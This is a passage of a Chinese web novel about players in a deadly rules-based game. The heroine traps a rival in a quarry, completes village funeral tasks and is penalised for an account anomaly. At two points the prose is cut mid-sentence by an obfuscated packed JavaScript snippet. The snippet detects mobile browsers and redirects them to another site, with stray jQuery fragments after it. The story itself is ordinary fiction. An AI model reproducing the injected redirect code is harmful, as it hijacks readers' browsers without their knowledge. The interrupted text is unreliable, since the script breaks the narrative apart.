没想到陈柏北却因此猛地一个急刹停下,喻诗瑭表情闪过一瞬错愕,看着陈柏北突然跟疯了一样大笑出声,双眼通红地嘶吼:“你当老子傻、逼吗!真会被你小儿科的激将法骗上当?老子弄死你就是分分钟的事,全看老子的心情!” 喻诗瑭面无表情地盯着他,像是不明白他怎么突然想通了,陈柏北见状更得意了,两人的情绪似乎瞬间逆转了。 “菜逼新人就是菜逼新人,陪你演演戏,你还当真了?” 25. 三更鼓 采石场里只开了一盏大型探照灯,光线呈扇状展开,两道黑色的影子被重叠在一起,拉出细长一条,光影交界线异常清晰。 比起背光而站,整张脸都快看不清的陈柏北,站在他影子里的喻诗瑭好歹还能看清五官。 只是接连被陈柏北奚落的表情,实在称不上明亮,看向对方眼神更是没有焦点的发虚。 “怎么不说话了?”自觉占领上风的陈柏北,连刚才憋屈的愤怒全都变成停不下来地兴奋,“刚才不是还很能说吗?我以为你多厉害呢,结果不一样什么都不是,就你这小伎俩我一早就看出来了,只是配合配合你罢了。” 陈柏北叽里呱啦的话,喻诗瑭一句没听进,看似涣散的视线在来回飘忽了几圈后突然顿住,逐渐定在一个点上,木着的脸也起了变化。 “我知道你们手上有支线任务的线索。”陈柏北还没注意到喻诗瑭的变化,挺着不知道谁给的自信在那越发自大,“你老老实实的把线索交出来,我就不计较你骗我的事,像你们这些新人——” 又是没营养的废话。 喻诗瑭实在听不下去,开口打断:“那你还是计较吧。” 她觉得陈柏北这人蠢得甚至不如爽文小说里,开场被主角疯狂打脸的炮灰反派路人甲,说的话跟用脚想的一样不入流。 “你说什么?” “我说,你!还!是!计较吧!”喻诗瑭又露出那副嘲讽满分的表情,身形却在诡异地慢慢后移。 “演,继续演。”看到对方因重新暴露在探照灯下而半眯起的眼睛,陈柏北不屑一笑,“就你这三脚猫演技还想激怒我?都说了,刚才生气只是在陪你演戏,你以为我真的……” 话被断开,没了后续。 陈柏北后知后觉地发现,退后的不是喻诗瑭,而是自己影子,自己的影子正在均速地往自己脚下收缩。 他猛地扭头往身后看去,刺眼的探照灯没有半点变化,依旧是同样的角度,只有自己的影子在变——像有生命一样。 陈柏北瞳孔剧烈颤动起来,过于激动的肾上腺素消散后,对危险的直觉终于重新回归。 中计了!姓喻的最后那一波才是演的! 他立马回头想去抓喻诗瑭,却发现对方早在自己去确认探照灯时,就已经窜到旁边的岩石块上翻了过去,这会正站在一块青石后面,笑眯眯地冲自己挥手。 低头往下,此时原本细长的影子也早已汇聚在自己脚下,形成一个直径不足半米宽的黑色圆洞。 陈柏北尝试离开这个黑洞,却发现自己的双腿早已被死死地“钉”在上面,动弹不得,脚底甚至传来了阵阵灼烧的痛感。 他弯下腰,疯一样连敲带拽地去扯自己的双腿,毫无反应。 意识到自己是在做无用功后,陈柏北改为用双手去扒拉地面,试图靠上半身的力量将自己“拔”出去,可惜依旧改变不了一点现状。 更让陈柏北头皮发麻的,不是脚底越发强烈的灼烧感,而是这灼烧感正在逐渐往上蔓延。 脚踝,小腿,膝盖…… 在他视线内可见的一切事物,似乎都在以一种诡异地速度缓慢升高,他却像察觉不到异常一样,还在胡乱抓着。 视线很快就变得模糊起来,他感觉自己的五感像被人用罩子给一一隔开了,他甚至听不到自己不受控地惨叫声,正回荡在空旷的采石场内,给黑夜增添了一层瘆人的背景音。 眼看对方像从底部开始融化的蜡烛一样,慢慢地陷进黑色圆洞里,回荡在采石场内的惨叫声也在逐步虚弱,喻诗瑭的眉心缓缓靠拢。 从第一个任务开始,有被拖进河底淹死出局的玩家,有被公鸡生生啄死出局的玩家,还有眼前这个从脚底开始被腐蚀的。 每一名玩家出局的方式,不像是为了给玩家不同的体验而设,更像是策划在展示自己脑洞大开的花式死亡玩法,残忍又诡异。 尤其是在体感如此高的一个游戏里,这已经完全超出了一个游戏该有的尺度。 她不知道这种出局方式是游戏出问题以后才有的,还是原本就是这么设计的。 如果是前者,那确实如锦鲤所说,这个游戏已经失控,以反复虐杀玩家为乐。 如果是后者,在明知道这游戏沉浸感这么高的前提下,还故意把这出局设计成这样,给玩家造成比身体更严重的心理创伤,这游戏团队恐怕本身的问题就不小。 随着陈柏北彻底陷进圆洞里,黑色的圆洞也在逐步缩小,直至消失。 喻诗瑭眨了下眼,对着空无一物的对面抬起右手,比了个大拇指。 紧跟着采石场四周的探照灯开始一盏盏亮起,直到把采石场内部照得宛如白日,喻诗瑭才重新走回采石场内,跟她一同进来的还有希泽跟谷琳琳。 四面八方照过来的光线打出了无影灯的效果,跟刚才明暗交界线异常清晰的影子相反,此时三人的脚下是肉眼几乎不可见的影子。 希泽几步就窜到喻诗瑭身边,担心地围着她饶了几圈,问:“小喻姐你没事吧?” “我能有什么事,你的任务做完了吗?” “做完了!”希泽赶紧回报自己的进度,“这游戏真的能卡bug!我听你的话一开始就去找了那个孙老铁,按照他教的方法把所有银钉先放进容器里,等二更鼓响了以后才一起进行最后一步,结果真的跟你说的一样,系统算我任务完成!这任务放70个小时我还以为多难呢。” “这个任务有时间段限制,70个小时估计只是为了留给玩家足够富裕的任务时间。” 喻诗瑭边说边掏出怀表,这么一通折腾居然已经十一点半了。 不过刚才她好像并没听到三更鼓的声音:“你们俩刚才有听到三更鼓的声音吗?” “我没有。”谷琳琳摇头,她跟喻诗瑭几乎是前后脚到达采石场,所以在这里待的时间跟喻诗瑭一样长。 “我从孙老铁家离开时听到了。”希泽因为任务是最后上来的,相当于只收了个尾,在村里待的时间比较长。 也就是说,这个副本是存在听不到更鼓的位置。 喻诗瑭点了下头,吩咐两人:“希泽你陪琳琳留在这里,帮她一起完成她的任务,我先进山去找槐木。” “小喻姐你不需要我们帮忙吗?这山里黑漆漆的,看着就不是很安全的样子。” “对啊小喻姐。”谷琳琳虽然害怕,但比白天都亮的探照灯给了她不少安全感,“这里这么亮,我待在这里还是比较安全的,你进山收集槐木反而比我危险。” “这有什么危险的,你的任务比较麻烦,青石这么重,你一个人打磨得弄到什么时候。”喻诗瑭拒绝得相当干脆,也没给两人多余的机会开口,“别在这你让我,我让你的浪费时间了,你们打磨完立刻把石头运下山,我们直接在村长家集合。” “对了。”她说完又补充了一句,“先到的人继续折金银锭,尽早结束这个副本。” “好哦。”被安排好的两人只能老老实实地答应。 秉持着时间就是金钱的铁公鸡理念,一交代完喻诗瑭就提着饱经风霜的灯笼离开,临走时还顺走了放在采石场的一柄斧头。 山里的温差比村子里还大,喻诗瑭拢紧衣领,顺着人踩出来的小道往山上走。 入秋的树叶已经落得差不多,但夜风吹过还是能带下不少幸存叶。 枯黄的树叶硬邦邦地落在地上,发出轻微碰撞,还没来得及感受一下大地的温度,下一秒就被人一脚踩碎,发出不小的动静。 喻诗瑭脚步骤停,握着斧头的手收得死紧,穿梭在树林中的风声发出类似人声地低吼。 三更半夜不回头。 心里念着这句话,喻诗瑭头也不回地反手将斧头往身后挥去。 “卧槽你疯了?!” 男声地惊呼声熟悉得很,不等喻诗瑭细想,一个大半夜还顶着花里胡哨羽毛帽的男人,从她身后绕到前面,先声夺人地指责:“我差点被你那破斧子给劈毁容了!” 喻诗瑭把斧子背到身后,理直气壮:“谁让你偷偷摸摸地跟在我身后,我还以为是什么歹人呢,另外我的所有举动都是属于正当防卫,你要是因此受伤,只能算你倒霉。” “狗屁的正当防卫!”严棕禾狠狠地呸了一声,“你是不是以为‘正当防卫’这四个字无敌了?同样的招数来回用,小心哪天自己栽在上面。” “那就再说。” 喻诗瑭无所谓的态度让严棕禾双眼微眯,对她身份地怀疑更深:“你真的是新人?” “我不像吗?” “你哪像了?”严棕禾搁那指指点点,“我就没见过有哪个新人敢出手去抓惩戒NPC的。” “你是说那只鸡?” 听到对方“哼”了一声当作回答,喻诗瑭表情无奈又无辜:“我都说了,我只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811353|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看它长得凶了吧唧,想抓来当看门的,而且我抓它的时候,它也没反抗,既然没反抗,那不就是默认的意思?” “它嗷得都快跟打鸣有得一拼了,你是怎么有脸说出它没反抗的话?”严棕禾再次刷新对喻诗瑭脸皮厚度地认知。 “它只是嗷嗷叫,又没啄我。”喻诗瑭义正辞严地反驳,“你怎么知道它不是在跟我撒娇,不是在跟我玩欲情故纵那套戏码呢?” 明知道用于惩罚的NPC不能率先攻击没犯规的玩家,还故意这么歪曲,这熟悉的“甩锅论”让严棕禾越发怀疑“喻”这个姓,指定有什么说法。 “能把‘欲情故纵’这个成语用在一只鸡上,你们姓喻的真不愧是一脉相承。” 又给喻姓战绩添了一笔,喻诗瑭淡定收下,冷静赶人:“你还有事吗?没事的话能不能不要挡在我做任务的路前?我赶时间,任务没完成小心我投诉你。” 严棕禾被气笑了,手指没礼貌地点着喻诗瑭,半天说不出一句话。 不想浪费时间在这掰扯,喻诗瑭打算当没看到这人,准备侧身越过。 然而她还没动,就听到严棕禾皮笑肉不笑地憋出句话:“你选择不开规则时,我还以为你是个无脑圣母,没想到转头弄死陈柏北倒是干脆的很。” 原来玩家只要拿到规则,无论是否开启,NPC都会知道。 居然意外捡到条信息,喻诗瑭面不改色地竖起斧头晃了晃,专注紧急辟谣:“诶诶诶,不要胡说哦,谁弄死陈柏北了,他自己一路奔着作死去的,我可什么都没干。” “什么都没干?”严棕禾阴阳怪气地重复了一遍,“先是让他以为你出局了放松警惕,把他引到采石场后又是现身,又是言语刺激,最后还故意走到他的影子里面,引他上当,你倒是不怕他真的失去理智,就他那个体格,徒手捏断你的脖子都不用费什么力。” “你有什么实质证据吗?”喻诗瑭自问自答,“没有的话可不能乱说哦,在游戏外是可以被告诽谤的哦。” “你还真敢说,也就是你这次运气好,遇到的是陈柏北这个没脑子的二百五,但凡换个稍微有脑子一点的,都不会被你用这么拙劣的手段给坑了。” 严棕禾用威胁的语气提醒:“你不要一次成功就美的不知道天南地北了,这个游戏没你想象的那么简单。” 如果陈柏北不是个没脑子的二百五,自己也不会用这么简单粗暴的办法整他。 但喻诗瑭看着严棕禾没回嘴,她对严棕禾总有种说不出的诡异直觉。 “你这次运气还好在,给你规则的人没拿假规则坑你,相当于是变相帮你作了个弊,但你怎么能保证,下次其他人给你的规则是不是真的?” “就算是真的,你又怎么知道对方给你规则是出于善良想帮你,还是故意给你设了个陷阱,要坑你?” “如果你一直被动接受规则,那你就永远都比别人慢一步。” 到这喻诗瑭总算是听明白了,严棕禾这人是拐着弯地告诉自己要开规则自保。 稀了奇了。 喻诗瑭脑袋一歪,张嘴就不吐象牙:“我很好奇,你最好的朋友是不是姓喻?所以你才会对我爱屋及乌地说这么多?” 轻飘飘地两句话,重量堪比往核电站里空投□□。 “!!!!” 严棕禾被喻诗瑭的厚颜无耻直接震成表情包,他跟怕被鬼上身一样连“呸”十几下,手指发颤地指着喻诗瑭,耳根子涨得发烫。 “你说什么疯话!!你们姓喻的都是神经病!!!爱死不死!关我屁事!你好自为之!!” 说完又第N次强调了一句:“我最讨厌姓喻的!最!!” 喻诗瑭被那个“最”字糊了一脸,看着对方扭头就走的背影,她小声地“啧”一下,撇嘴:“不是就不是嘛,这么大个人怎么还应激了呢。” 见对方走得彻底,完全没有回来的意思,喻诗瑭这才拎着斧头,继续往上找槐木。 其实她也不知道槐木到底是不是在这个方向,但过了采石场以后,往山上走的小道只剩这一条。 鉴于这游戏一会严谨,一会粗略地制作情况,再加上刚才严棕禾并没有阻止自己上山,这条道赌赢的机会至少占九层。 没两分钟,喻诗瑭就在前面一片树林里,看到了两个同样拎着斧头的熟人。 “这么巧啊。”这次喻诗瑭先上去打了声招呼。 26. 三更鼓 站在树林里的,正是比他们早一步离开村长家的静静,跟她的妈妈何夕。 静静似乎也没想到会在这里遇到喻诗瑭,眼睛惊讶地瞪圆了不少,想打招呼,又习惯性地看向母亲,见她没有反对的意思,这才缩着脖子冲喻诗瑭腼腆一笑,当做打招呼。 倒是何夕这次居然正眼跟她回了个招呼,喻诗瑭也不客气,立刻打蛇上棍走了过去。 “你们需要帮忙吗?”她晃了晃手中的斧头,友好示意,“我力气还是可以的。” 何夕看向喻诗瑭那没几两肉的胳膊,表情是毫不掩饰地怀疑,出口的是委婉地拒绝:“还是不麻烦你了。” “不麻烦,哎,苍蝇腿也是肉,别看我瘦,这些都是精炼出来的肌肉。”喻诗瑭颠了下斧头,以证明自己所言非虚。 知道对方什么想法,何夕也没藏着掖着,干脆直接捅开话题:“你不用想着怎么感谢我,我不是为了帮你,只是在帮我们自己。” 喻诗瑭头一歪,等着对方把话说完。 “别把我想成什么善良的人,我知道陈柏北的目标是你们,如果你出局了,他接下来就会开始找我们的麻烦。”何夕说得直白。 “给你规则,只是觉得你能搞定陈柏北,今天就算不是你,换成任何一个人,只要能对付陈柏北,我一样会给,所以你不用在意。” “我知道,你不用担心,我没别的意思。”喻诗瑭同样敞开了说,“我只是觉得我们的任务应该是一致的,就算不一致,也八九不离十,我们互相帮忙不止可以早点完成个人任务,我更想快点结束这个副本回到待机界面,我想你也是这个意思吧?” 对方虽然没明说,但喻诗瑭感觉的出来她并不想在副本里久待,公共任务不是什么秘密,谁是进度最快的玩家,只要稍作观察立刻就能猜到。 “好。”何夕不是那种拖泥带水的个性,喻诗瑭地提议既然与自己利益一致,那秉持着互惠互利原则,她没有拒绝的理由。 正如喻诗瑭所说,她们三人的任务确实一致。 何夕认识槐木,能轻易辨认出哪些是槐木,而喻诗瑭之前为了套近乎夸下海口的力气,在几下把粗壮的树干砍出个缺口后,得到了验证。 别说何夕看她的眼神变了,她自己看自己的双手都充满了震惊,自己的力气居然真的这么牛逼? 不过在静静同等发力也砍出几个缺口后,三人确认了一件事。 这跟自诩力气大的喻诗瑭一点关系都没有,纯粹是这树设定的就是易砍坏,易推倒,几斧子下去树就能倒一棵。 “看来你也是精瘦有力的体质。”喻诗瑭恬不知耻地拍了拍静静的肩膀,给予肯定。 “谢谢!”很少被这么直白夸奖的静静开心道谢。 看到女儿这个样子,何夕没有多说,默默安静。 两大一小三个人就这么你一下我一下,收割效率比预期快上好几倍,没一会三人的任务都跳了完成提示。 “叮!恭喜玩家完成个人任务‘在三更时段收集足够的槐木’,个人积分+30,请再接再厉~” “运送木材下山居然不是我们的任务范畴。”喻诗瑭都想好该怎么把槐木运送下山,没想到任务已经开始结算。 “这是个七天本,所以任务分的比较细。”也不知道是不是看在一起干过活的份上,何夕开口解释了一句。 “这样啊。”喻诗瑭低头看着槐木突然问,“如果我把槐木送下山了,那之后拿到送槐木下山这个任务的玩家怎么办?” “这……”何夕被喻诗瑭一句话问到了。 玩家的任务都是跟积分挂钩,有些任务本身难度就大,再加上容易做多错多,所以玩家在任务结算后,通常不会轻举妄动,除非是有新任务进来。 毕竟在没有领到任务的前提下,就算把任务内容做了,也不会拿到任何积分,这种干白工的事,还真没见人干过。 一见何夕卡壳,喻诗瑭立刻把话接了回去:“我就问问,单纯好奇,我们现在回去吧?” 何夕若有所思地应了声:“好。” 三人没再管地上的槐木,顺着唯一的小道回到村里。 一回到村长家,何夕跟静静就跟被流水线女工附体一样,埋头就是折。 喻诗瑭一开始还跟着折,但越折越觉得不对劲,这会三更都过了,希泽跟谷琳琳居然还没回来。 不会出事了吧? 喻诗瑭把金银锭往框子里一放,正准备出门去找,就看到那两人一身狼狈的回来,赶紧上前询问:“怎么了这是?” “小喻姐!”谷琳琳看到她嘴巴就是一瘪,把两人倒霉的遭遇给说了一遍。 喻诗瑭刚走他俩就开始凿石块,好在那边工具齐全,那个石块看起来坚硬,真凿起来其实并不费力,没弄一会石碑就成型了,连任务的完成提示也跳得很快。 按理来说这个时候他俩就该下山了,但问题就出在喻诗瑭离开前说的那句叮嘱。 “你们打磨完立刻把石头运下山。” 他俩猜又猜不透喻诗瑭的用意,人又联络不上,俩脑袋凑在一起琢磨半天,最后一合计,硬是把那块石碑从山上给运了下来。 “……你们怎么运下来的?” “采石场有个手推二轮斗车。”希泽灰头土脸地无实物演示起来,“我们就把石碑倒下来,然后用车子铲着,一人一边……” 喻诗瑭表情是越听越难评。 “所以小喻姐,为什么要推这个石碑推回来呀?”希泽好奇了一路。 喻诗瑭:“……” 该怎么说好呢?她一开始以为要把石碑送到村里才算任务完成,就像她以为她也要把槐木给运回去一样,谁知道居然不用,所以其实那就是一句为了任务的叮嘱。 在知道不用把材料运回来也能完成任务后,她想当然的以为这俩人会跟她一样,空手下山。 谁知道这俩人不理解,但听话,硬是吭哧了一路把石碑给运了回来,这就很尴尬了。 “那个……”喻诗瑭看着两双求知若渴的眼神,欲言又止了半天,最后还是败给俩孩子认真的眼神,一五一十的把原因给说清楚,末了认真地道了个歉,“对不起啊。” “小喻姐你不用跟我们道歉,不是你的问题!”谷琳琳把自己湿乎乎的刘海给扒拉到一边,认认真真地说,“是我们自己的脑子一时没转过弯。” “对啊对啊,就当锻炼了。”希泽说着还秀了秀自己手臂上的肌肉,兴奋地问,“你快看看我手臂上的肌肉线条,是不是比刚才要明显不少?” “就你推这两下是真不至于。”谷琳琳翻了个复刻版白眼,吐槽,“还没你在待机界面花几个积分来的有效。” 什么意思?待机界面可以修改体型? 喻诗瑭眼睛一亮,想问又有所顾虑。 倒是希泽先拒绝起来:“我才不调参数,我对我全身都很满意。” “你的脸没调过?”谷琳琳震惊。 “我为什么要调我的脸,我的脸这么好看。”希泽帅而自知,“我妈说我是照着她的模样长得,她很满意,我也很满意。” 那边希泽对自己的原生皮很满意,这边喻诗瑭对得到答案很满意。 所以玩家第一次进入游戏时的外型,是默认的现实原型,但在待机页面是可以通过调整参数来外边原有外貌的。 待机界面的信息确实更多些,这副本真的要快点结束了。 把还准备讲相声的两人给赶回去休息,喻诗瑭自己一头扎回村长家,加入了何夕跟静静的女工队伍中,甚至隔天下午坐在灵堂帮忙哭丧时,手上的活都没停下来,架势堪比走火入魔。 到后面连张婶都不敢再找她来哭丧,生怕这孩子真被什么脏东西给上身了。 赶公共任务期间,喻诗瑭直接放弃所有个人任务跟支线任务,同时她也明显察觉到有几个玩家想来惹事。 但不知道是误以为他们几人是一伙,觉得人多拼不过,还是在顾虑其中的某一位,这些人也只是来来回回的看看,最终也没做出什么实际举动。 终于在第四天中午,何夕成为第一个完成公共任务的玩家。 副本正式进入倒计时。 为了以防出现什么意外,喻诗瑭他们陪何夕一直待到副本倒计时结束,在等待系统修正副本时间的期间,喻诗瑭意外收到“寻找童年回忆”的支线任务,可不等她详细了解,副本时间修正结束。 所有任务全部停摆,时间线直接来到第七天的出殡日。 赶来送葬的村民全都聚集在村长家的院里院外,哀乐从鸡鸣起就没停过,悲痛地哀嚎被裹进高昂的唢呐声中,更显悲凉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812486|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻诗瑭几人被村里的长辈拉着去对了属相,凡事跟死者属相相冲的人,手中都被塞了一样东西。 不知道是巧合还是游戏系统故意为之,喻诗瑭他们发现所有玩家的属相,都跟死去的老村长相冲。 “前两天让我们去帮忙哭丧的时候,怎么没说要测属相。”希泽疑惑地又开始冒问题,“不过小喻姐,这个属相相冲是个什么意思啊?” “不知道,先照做。” 喻诗瑭也被塞了同样的东西,她握着那东西退到一个角落,翻开手心看了半天,才发现那是一根缠着麦色麻绳的黑色长铁钉。 “你们听着,切记送葬的路上不要回头,等村长的棺材上半山腰后,你们就跟着其他人先回来,回来的路上找一个垃圾堆把手上的东西扔进去,千万不能把东西带回来。”张婶站在几人面前细细叮嘱。 “另外一定要记住,扔掉钉子后不能直接回家,一定要先回到村长家,用门口那个泡着锡箔灰的水洗过手后,去院子的桌上拿一条毛巾带回去,听明白了吗?” 已经走到副本结尾,没人想在这个时候出事,每个人的表情都异常认真,来回让张婶把规则又说了几遍,才死死攥着手中的钉子,排在村长的送葬队伍中。 村长的送葬队伍很长,不光有本村的村民,还有邻里村的,跟村长属相相冲的村民,都被安排在了队伍中间的位置,包括喻诗瑭他们。 喻诗瑭对这种没接触过的仪式,表现出了浓厚地兴趣,但碍于规则的约束,她也不好再有什么出格的操作,只能有样学样的挨到半山腰。 一直到这里他们才知道,原来只有村长的家人才能跟上山,亲自送村长下葬,像他们这些外人,跟到半山腰就行了。 喻诗瑭在回来的路上瞄准了一个垃圾桶,把东西扔进去,耳边随即传来希泽困惑地提问。 “小喻姐,你说这个副本里这些所谓的习俗,还有规矩,是以前真实存在过的,还是历史长河中,有人杜撰出来的啊?” “为什么不能是游戏策划自己想的?” “啊?可龙纹游戏宣传里不是提到过,说《无限规则》是一个涵盖了人类自诞生到现在,所有历史文明的游戏,每一个副本从背景设定到故事线,都是系统根据历史记载随即生成的,没有剧本,绝对的公平。” 喻诗瑭调侃了一句:“你广告词背这么顺是有钱拿吗?” “我也不是故意的。”希泽嘿嘿一笑,毫无炫耀之意地说着凡尔赛的话,“我从小到大都是这样,只要看过或是听过的东西,一遍就能记住,很难吗?” 连记忆都没有的喻诗瑭,面无表情地表示:“……一般吧。” 下山路比上山路好走,几人结果还没讨论出个所以然,人就已经回到村长家。 仔仔细细地按照张婶交代的流程走了一遍,当所有玩家都拿到村长家的毛巾时,系统的播报音终于再次响起。 “恭喜各位玩家提前结束《无限规则》C级副本‘三更鼓’,积分正在计算中,玩家可打开任务面板查看最终积分与排名。” 所有人几乎同步打开自己的任务面板。 副本名称:三更鼓 副本状态:已完结 副本时限:180小时 副本难度:C级 喻诗瑭按下任务框的第二页,原本还是角色介绍的页面,此时已经被替换成了一串数字排名,每个数字后面跟着的名字正在疯狂翻滚。 没一会,名字翻滚的速度逐渐慢了下来,很快就停止不动。 4.猪场在逃五花肉 喻诗瑭:“……” 自己到底是为什么会取这么一个逆天ID啊! 不等她白眼上翻,原本停稳的ID又开始缓慢地滚动起来。 唯一不同的是,这次滚动的只有她一个人的ID。 怎么个事?她自己在心里吐槽一下ID,系统还能闹脾气? 喻诗瑭还在愣神,只见排名第6的ID突然也跟着滚动起来。 下一秒,两个位置的ID再次同时停下,位置却互换了。 紧接着一个弹窗突然从右下角弹出,在喻诗瑭眼前展开。 “监测到玩家账号存在异常现象,获得的个人积分将X80%,如有疑问,可点击此处申述。” 喻诗瑭:“……哈?” 27. 三更鼓 等等,先不管账号存在异常是个什么意思,凭什么扣她20%的积分啊?! 金银锭是她一个个亲手折的,折得眼睛都发绿了! 任务是她一把泪一把泪哭出来的,眼眶都发涨了! 怎么这系统说扣就扣?!也太没玩家权益了吧?! 喻诗瑭耷拉着眼皮,阴恻恻地又扫了眼被挤到第六的榜单,操纵着光圈就要去按有单独下划线的“此处”两字。 手却在即将点下时,鬼使神差地顿住。 自己失忆的事,会不会跟这个账号异常有关? 如果真的有关,那自己在提交这个“申诉”后,得到的会是正面的反馈,还是会让自己的处境雪上加霜,这些她都不确定。 在正负概率各占一半的情况下,喻诗瑭不是那么敢赌,毕竟承受结果的是什么都不知道的自己,人不能对自己太不公平。 “诶,小喻姐,这个上……这个第四名,是你的ID吗?” 听到希泽不敢确定的声音从一旁传来,喻诗瑭才想起那个从第六名顶替上来的玩家ID——“上古真龙霸气体”。 跟自己的ID一比,两人可以说是奇葩得难分伯仲,中二的不相上下,羞耻的半斤八两。 感觉自己无论承认哪个ID是自己的,都需要一定的勇气跟脸皮。 于是她干脆装作没听见,重新去看第三跟第五名的ID名。 按照自己原先的排名来看,积分跟她差不多的谷琳琳还有希泽,应该就是这两个名次了。 “森林里种苞谷” “医生说可以出院” 喻诗瑭:“……” 该说不说,还挺符合这两人画风的。 “小喻姐?~” 在希泽坚持不懈地疑惑下,喻诗瑭还是没正面回答的勇气,于是问了个问题当回答:“希泽你知道在什么情况下,玩家账号会出现异常情况警告?” “异常情况警告?”希泽的注意力立刻被带偏,开始细数起自己知道的有可能情况,“被盗号,被顶号,开外挂,哦,当然我没开过外挂,我是看别人开过,然后被系统制裁了。” “还有就是骂人被举报,消极游戏被举报,盗用别人身份被举报,大概就是这些,怎么了吗?是你账号出什么问题了吗?” “没……就是想到点事。”喻诗瑭嘴上糊弄了一句,心里开始排除最没可能的情况。 骂人,消极游戏这些可以排除,她在这个副本里哪怕不算积极,也绝不到消极的程度。 骂人就更不用说了,她这么一个善良的人,从不骂人。 至于剩下的情况,感觉有些太笼统,她对希泽之前说的“意识剥离体感”到底是个什么东西不太清楚,但对“意识”的概念她还是有的。 如果简单按照希泽说的那些字面意思理解,龙纹游戏等于是利用游戏仓把玩家“意识”抽离,送进游戏,从而制造出超越全息体感的游戏。 这么一看,“意识”就相当于是玩家本人。 那既然她本人都在这了,哪来什么顶号一说,除非是她理解错误,“意识剥离体感”真正的意思,跟自己理解的有所出入。 如果按照这么排除下来,因为开外挂而被系统制裁的可能性,反而是最大的。 毕竟外挂这玩意本身就相当不稳定,谷琳琳也一直说游戏非常讲究公平,对作弊行为惩罚的非常严厉。 因为开外挂被系统察觉并进行制裁,结果因为惩罚太重,导致自己“意识”混乱,从而出现失忆情况……这么一分析,感觉还真是目前最合理的情况。 哇塞…喻诗瑭在心里怀疑起来,自己一个新人玩家,游戏都还没学会,居然先学会开挂?这么没有竞技精神吗? “叮咚叮~” 突然又上线的系统音打断了喻诗瑭的自我怀疑。 “副本结算结束,如对积分,排名有异议,或是想举报违规作弊的玩家,可在待机界面后台申诉中与我们联系,感谢参与此次副本,希望您玩得愉快,副本将在倒计时10秒后关闭。” “10,9,8……” 系统说完连喘息的时间都没给,直接开启倒计时,喻诗瑭在希泽吱哇激动的背景音下关掉了申诉弹框。 想申诉随时有机会,但申述的前提,是她必须得对自己的账号有更深的了解,以确保申述结果不会弄巧成拙。 “小喻姐!一会回待机界面看到我ID的好友申请,千万要记得通过啊!我是第五个!” 希泽的话音刚落,谷琳琳的声音也挤了进来。 “我的我的,还有我的,我的是第三!小喻姐要通过啊!” 不是,等下!你们加的是哪个ID啊? 喻诗瑭没想到他们问ID是为了加好友,顾不上替自己ID名丢人,赶紧开口:“是六!是第——” 最后“2”秒只够她把关键字说完,补充的话刚刚冒出两个字,系统的倒计时就走到尽头。 下一秒,一股强烈的推背感袭来,身体不受控地往后倒去,强烈的耳鸣盖过了四周所有声音,视线里晴空万里的蓝天变成了蓝绿交错的网格,周围的景物也在同一时间,变成一串串密密麻麻的绿色代码,在不停滚动。 失去了身体控制权,喻诗瑭只剩下坠的失重感,跟失重带来的晕眩。 好在这股失重感消失得很快,快到她的身体甚至还没来得及产生明显地不适反应,下坠就停止了。 脚底触地,身体恢复站立姿势的同时,身体的感知也在逐渐回笼。 原地握了握双手,确认身体控制权真的重新回到自己的手里,喻诗瑭这才松了口气,抬头观察起四周。 入目的是一整片由闪烁星光点缀而成的墨蓝色星海,没有一丝缝隙,一眼看不到头,除此之外,什么都没有。 真的什么都没有,谷琳琳跟希泽说的什么留言板,商城面板,什么都没有。 喻诗瑭疑惑地按下指环,指环闪烁几秒后什么都没发生,个人界面在这里仿佛失灵一样。 怎么个事?卡bug了?怎么又是到她就卡bug? 喻诗瑭尝试往前走,脚下无边无尽地星海,让她分不清自己究竟是不是在原地踏步。 没招了。 她停下脚步,感觉再走下去除了浪费体力外,毫无帮助。 这下真是投诉无门的真实写照了。 得想办法—— “哗啦。” 办法还没开始想,一块泛着蓝光的半透明游戏面板突然在她眼前展开,比指环打开的个人界面大了不止四倍的面板上,是整齐排序的功能按键,看着比个人界面紧凑不少。 没给喻诗瑭摸索面板的时间,熟悉的系统机械音随即快乐上线。 真的是字面意义上的欢乐,一直死板的机械音不止有了起伏,甚至还带上了欢乐的音效。 “恭喜玩家成功完成三轮副本~达成新人成就~已为您解锁所有副本等级,同时总积分排名已被开启,目前您的积分为224.8,排名第79191名,下个副本结束后,您将正式进入淘汰赛。” “淘汰赛赛制为每日零点更新后,当日个人积分低于总榜积分平均值30%以下 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一切都无比的合理,就差证据了。 她不相信任何没有实打实证据的推测,所以在此之前,她保留对一切怀疑的态度。 不过怀疑归怀疑,手上研究面板动作是一点没停,接连点开几个右下角的不明小图标,她终于在最角落的锯齿状小图标里,找到了自己想要的功能按键——退出游戏。 “退出失败,请玩家继续游戏。” 哇塞,怎么还强制消费呢? 喻诗瑭撇了撇嘴,虽然有心理准备,但在看到弹框跳出来的瞬间,多少还是带了点希望,可惜希望破灭。 关掉没用的弹框,她转而打开刚找到的个人资料面板。 ID编号:00004 意识数值:93 昵称:猪场在逃五花肉 身份信息:已验证 邮箱:已绑定 个人终端:已绑定 紧急联系人:已设置 生物信息:已设置 …… 好消息:身份信息验证过 坏消息:点了没用。 所有已绑定,已验证,已设置都跟保密局一样,怎么点都不带反应。 还有,说好的能打开绑定邮箱,查看邮件呢?!简直诈骗! 平静地关掉个人信息,看着面板上的各种功能按钮,喻诗瑭深吸口气,打开了商城,所有游戏的核心玩法区域。 